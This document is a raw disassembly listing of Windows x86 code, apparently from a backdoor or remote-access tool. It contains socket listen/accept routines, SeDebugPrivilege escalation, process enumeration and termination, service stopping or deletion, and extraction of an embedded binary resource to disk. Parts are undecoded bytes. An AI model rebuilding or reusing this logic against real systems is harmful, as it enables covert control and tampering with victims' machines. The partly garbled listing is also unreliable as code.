dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FBCB dec eax jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB28 mov dword_50DB0C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB28 mov dword_50DB0C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB28 xor eax, eax mov dword_50DB14, eax mov dword_50DB0C, 1 mov dword_50DB1C, eax mov dword_50DB20, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB2C push offset dword_50DB08 push eax mov dword_50DB0C, 4 nop call near ptr 28F0876h retn 4 sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44990F mov dword_50DB08, 20h mov dword_50DB0C, 2 mov dword_50DB10, 3 mov dword_50DB14, esi mov dword_50DB18, esi mov dword_50DB1C, esi mov dword_50DB20, esi call sub_4017EE push eax nop call near ptr 28F0475h cmp eax, esi mov dword_50DB2C, eax jz short loc_41FCAA push offset dword_50DB08 push eax mov dword_50DB0C, 4 mov dword_50DB1C, esi mov dword_50DB20, esi nop call near ptr 28F0876h loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB28, ecx push 100h mov ecx, offset byte_44990F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 28F0000h xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx call near ptr 2871C1Eh nop mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 27903F8h mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi call near ptr 2790BD1h nop push edi push esi mov ebp, eax call near ptr 27A0000h nop push ebp mov esi, eax nop call near ptr 27A046Ah push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41FFC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 0F6E89056h, 0C6023700h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi nop call near ptr 283061Dh loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h call near ptr 29301A3h nop mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 28E0000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AD4 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23C0842h, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 29009A8h nop mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28A0000h mov esi, eax test esi, esi jnz short loc_420450 push ebx call near ptr 29103E8h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call near ptr 27901E5h nop push eax call near ptr 28C1591h nop mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h call near ptr 2790238h nop push eax call near ptr 28C1B04h nop test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28D0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 nop call near ptr 27C07F2h cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call near ptr 2700000h nop mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi nop call near ptr 2790261h push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2871C1Eh nop test eax, eax mov dword_50DB30, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E08A3h test eax, eax mov dword_50DB30, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB34, eax mov eax, dword_50DB30 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB30 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB38, eax call esi mov ecx, dword_50DB34 mov dword_50DB3C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB38 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB38 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB3C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi nop call near ptr 283061Dh loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 29009A8h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44530C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_4452F4 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28E0000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl 